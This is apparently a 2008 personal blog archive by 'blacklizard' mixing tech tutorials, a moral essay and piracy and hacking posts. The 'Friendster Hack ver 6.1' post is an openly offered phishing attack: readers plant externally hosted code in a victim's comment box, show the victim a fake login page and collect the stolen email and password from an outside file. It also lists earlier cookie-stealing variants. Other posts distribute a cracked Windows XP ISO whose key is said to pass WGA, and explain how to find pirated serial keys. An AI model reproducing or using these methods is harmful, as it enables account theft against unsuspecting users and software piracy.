PHP MySQL Connect to a Database

December 28, 2008 by blacklizard

Create a Connection to a MySQL Database

Before you can access data in a database, you must create a connection to the database.

In PHP, this is done with the mysql_connect() function.

Syntax

mysql_connect(servername,username,password);

Example

In the following example we store the connection in a variable ($con) for later use in the script. The “die” part will be executed if the connection fails:

<?php
$con = mysql_connect("localhost","peter","abc123");
if (!$con)
  {
  die('Could not connect: ' . mysql_error());
  }
// some code
?>

Closing a Connection

The connection will be closed automatically when the script ends. To close the connection before, use the mysql_close() function:

<?php
$con = mysql_connect("localhost","peter","abc123");
if (!$con)
  {
  die('Could not connect: ' . mysql_error());
  }
// some code
mysql_close($con);
?>

Friendster Hacking Method

December 28, 2008 by blacklizard

The previous post about hacking friendster are not working anymore.I,ll update it very soon.

Microsoft Windows XP SP3 Blacklizard’s Edition v2 reloaded

December 28, 2008 by blacklizard

I will be releasing the reloaded edition of this XP soon..

New updated consist of major driver update, post SP3 update until December 2008, included SATA drivers(major;Intel), essential appz and fully customized Windows UI(part of windows 7)

So wait for the release..

Microsoft Windows XP SP3 Blacklizard’s Edition(Updated)

September 21, 2008 by blacklizard

talk

talk

talk

talk

talk

For the mean time,i cannot provide the screen shoot of dos based setup,Setup Billboard,BootScreen and Logon Screen..

I’ve lifted the minimum requirements to instal this edition..
ISO size is 240MB..
Its takes less than 15 minutes to complete the instalation..

WMP 11,Firefox2 and utorrent added(Silent instal)
The Key used in this edition is genuine and it passes WGA check..
The Following Tweaks and Patches Have been Applied.

Patches:
TCP/IP Half-Open Connections = 1000 (Default 10)
UXTheme Patch (Allows Unsigned Themes to be applied to XP)
Windows System File Checker Disabled (SFC)

Tweaks:
Boot and Shutdown-Status Messages-None
Desktop-Internet Explorer icon-Hide
Desktop-My Computer icon-Show
Desktop-My Documents icon-Show
Desktop-My Network Places icon-Show
Desktop-Recycle Bin icon-Show
Explorer-Add ‘Command Prompt’ to folder context menu
Explorer-Change Windows Explorer folder view-Tiles
Explorer-Disable Prefix: Shortcut to
Explorer-Disable shortcut arrow
Explorer-Recycle Bin: allow to rename and delete
Explorer-Recycle Bin: delete files directly
Internet Explorer-Disable information bar when popup is blocked
Internet Explorer-Disable Internet Explorer link creation
Internet Explorer-Disable Outlook Express link creation
Internet Explorer-Disable sound when popup is blocked
Internet Explorer-Enable Google URL-Search
Internet Explorer-Keep IE URL-History for-0 Days
Internet Explorer-Set Homepage-www.google.com
Internet Explorer-Set Internet Explorer to accept 10 connects at a time
My Computer-Add Administrative Tools
My Computer-Add Control Panel
My Computer-Remove Shared Documents
Performance-Disable Last accessed Timestamp on files
Performance-Disable Optimize harddisk when idle
Performance-Minimal Power Management
Privacy-Remove Alexa
Security-Always show Updates under Software
Security-Screensaver Password-Protection-Disabled
Start Menu-Clear most recently opened documents list on logoff
Start Menu-Disable Highlight newly installed programs
Start Menu-Do not use Personalized Menus
Start Menu-My Network Places-Don’t display this item
Start Menu-Network Connections-Link to Network Connections folder
Start Menu-Remove Search For People from Search
Start Menu-Remove Search the Internet from Search
Start Menu-Remove Set Program Access and Defaults
Start Menu-Remove Windows Catalog shortcut
Start Menu-Remove Windows Update shortcut
Taskbar-Disable Group similar Taskbar buttons
Taskbar-Disable Hide inactive icons
Taskbar-Disable Language-Bar
Taskbar-Lock the Taskbar-Yes
Visual Effects-Animate windows when minimizing and maximizing-Enable
Visual Effects-Smooth edges of screen fonts-Clear Type
Visual Effects-Tooltip animation-Slide
Windows Media Player-Accept Privacy Statement
Windows Media Player-Disable auto-add music to library
Windows Media Player-Disable automatic codec download
Windows Media Player-Disable metadata retrieval
Windows Media Player-Disable MRU
Windows Media Player-Disable silent acquisition
Windows Media Player-Disable starting with Media Guide
Windows Media Player-Enhanced privacy settings
Windows Media Player-No visualization
Windows Media Player-Optimize fullscreen mode behavior
Windows Media Player-Zoom video to window size

Install Notes:
1. Unrar the ISO from the archives using Winrar.
2. Burn the ISO using a program such as Nero, Alcohol 120, Blindwrite, ect… (Burn at a slow Speed to ensure no errors, 2x-4x)
3. Change Bios Priority settings so it boots from the CD-ROM Drive First. (You may be able to skip this step)
4. Insert Disc and Reboot PC, Follow the on screen prompts and enjoy..

THE LINKSSSS…..

XP_BLK1.part1.rar
http://rapidshare.com/files/122760274/XP_BLK1.part1.rar.html

XP_BLK1.part2.rar
http://rapidshare.com/files/122772475/XP_BLK1.part2.rar.html

XP_BLK1.part3.rar
http://rapidshare.com/files/122081956/XP_BLK1.part3.rar.html

Say thanks if u download this edition

Download as free user..plz………..
Any problem?Fel free to PM me or contact me at my friendster
http://www.friendster.com/blacklizard

The Once in a Lifetime Gift

September 12, 2008 by blacklizard

Imagine you have a very precious gift. It is priceless, and it has some unique qualities: 1). You’ll never have another gift like it—you’ll only have one such gift your entire lifetime 2.) You can only give it away once. 3). Once you’ve given it away, you can never, ever get it back.

How would you treat such a gift? Would you casually give it away to someone who is not completely committed to you? Would you give it to someone who would throw it away and break your heart? Would you flush it down the toilet?

Well, we are born with such a gift: virginity. It is a special gift that you can only give to one person, one time. Once lost, it is gone forever. This gift was intended for your spouse—the one who would treasure your heart forever.

It breaks my heart to see the way this gift is treated. It seems that many youngster give their virginity away before they even realize how valuable it was. They take this incredible gift and simply throw it away—what a waste!

Please consider the value of your virginity. Save it for your future spouse.

Friendster Hack ver 6.1

May 14, 2008 by blacklizard

Since I don’t have enough time to post the full tutorial, here is the
temporary way to get Friendster’s email add and password.
Here we go..

First step;Find your victim

Second step;Copy the code in the url below in your victim’s comment box(I don’t bothering
to explain how this work cuz new way is coming soon)

http://blacklizard.fileave.com/linker.txt

Third step:Wait until your victim to login on fake Friendster’s log in page

Fourth step:Get ur victim’s email add and password here
http://h1.ripway.com/xcode/phpuid=next%20login/friendster.txt

Preview:

Histroy Revision

Friendster Hack ver 1.0 (uses iFrame)(Patched)
Friendster Hack ver 2.0 (uses DIV layer)(Patched)
Friendster Hack ver 3.0 (uses flash,blank frame,geturl command,only working in IE)(Patched)
Friendster Hack ver 3.1 (uses flash,geturl command,only working in IE)(Patched)
Friendster Hack ver 4.0 (cookie stealing method,external js)(Patched)
Friendster Hack ver 4.1 (cookie stealing method,javascript in flash)(Patched)
Friendster Hack ver 5.0 (uses overlay method)(Patched)
Friendster Hack ver 5.1 (uses overlay method but with external redirection)(Patched)
Friendster Hack ver 6.0 (uses image hyperlink,links from ripway.com)(50% Patched)
Friendster Hack ver 6.1 (uses image hyperlink,links from friendster itself and fileave.com)(Up and 100% working)

Corrupt NTLDR and/or NTDETECT.COM file

March 1, 2008 by blacklizard

Windows 2000 users

If your computer is using Microsoft Windows 2000 and you are encountering the NTLDR error. Create the below boot.ini file on the floppy diskette drive.

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)WINNT
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)WINNT=”Microsoft Windows 2000 Professional” /fastdetect

Copy the NTLDR and NTDETECT.COM files from another computer using the same Operating System. Both of these files are located in the root directory of the primary hard disk drive. For example, C:NTLDR and C:NTDETECT.COM should be the locations of these files on many computers.

  • Please keep in mind that these files are hidden system files, if you need additional help with viewing hidden files in Windows please see document CH000516

Once these files have been copied to a floppy diskette reboot the computer and copy the NTLDR and NTDETECT.COM files to the root directory of the primary hard disk drive. Below is an example of what commonly should be performed from the A:> drive.

copy ntldr c:
copy ntdetect.com c:

After the above two files have been copied, remove the floppy diskette and reboot the computer. 

Windows XP users

  1. Insert the Windows XP bootable CD into the computer.
  2. When prompted to press any key to boot from the CD, press any key.
  3. Once in the Windows XP setup menu press the “R” key to repair Windows.
  4. Log into your Windows installation by pressing the “1″ key and pressing enter.
  5. You will then be prompted for your administrator password, enter that password.
  6. Copy the below two files to the root directory of the primary hard disk. In the below example we are copying these files from the CD-ROM drive letter “E”. This letter may be different on your computer.copy e:i386ntldr c:
    copy e:i386ntdetect.com c:
  7. Once both of these files have been successfully copied, remove the CD from the computer and reboot.

Video Avatars

February 21, 2008 by blacklizard

1. Open PowerDVD:

2. Open a movie or Video clip:

3. Go to the beginning of the part u want as avatar & click on pause

4. make a picture of it:

5. press 2 steps forward & then make another pic, do this until u got the whole part:

Video Avatars

1. Open PowerDVD:
user posted image

2. Open a movie or Video clip:
user posted image
user posted image

3. Go to the beginning of the part u want as avatar & click on pause
user posted image

4. make a picture of it:
user posted image

5. press 2 steps forward & then make another pic, do this until u got the whole part:
user posted image

6. go to imageready 7 & then select “file”, “import” & then “folder as frames…” & then u select the folder wit your pics made wit powerDVD:

7. put the layers in place & save it optimized as GIF

Tutorial Get the serial number you need

February 21, 2008 by blacklizard

Get the serial number you need ! (For Certain Things)

* Go to Google.

* In the search field type: “Product name” 94FBR

* Where, “Product Name” is the name of the item you want to find the serial number for.

* And voila – there you go – the serial number you needed.

HOW DOES THIS WORK?

Quite simple really. 94FBR is part of a Office 2000 Pro cd key that is widely distributed as it bypasses the activation requirements of Office 2K Pro. By searching for the product name and 94fbr, you guarantee two things. 1) The pages that are returned are pages dealing specifically with the product you’re wanting a serial for. 2) Because 94FBR is part of a serial number, and only part of a serial number, you guarantee that any page being returned is a serial number list page.

See these example searches:

“Photoshop 7″ 94FBR
“Age of Mythology” 94FBR
“Nero Burning Rom 5.5″ 94FBR

Tip for shutdown windows – virus

February 21, 2008 by blacklizard

Try to open:

Run -> cmb -> shutdown -a

This prevent the shutdown.

create a new shortcut.. then write;
shutdown -s -t 0 = this is for shut down in 0 seconds (t = time s=shutdown)
shutdown -r -t 0 = same but this is for restart comp. in 0 seconds..
(only for windows xp)
in win.98 this is different; we were wrote rundll32.exe -s or something like this..i couldnt remember right now..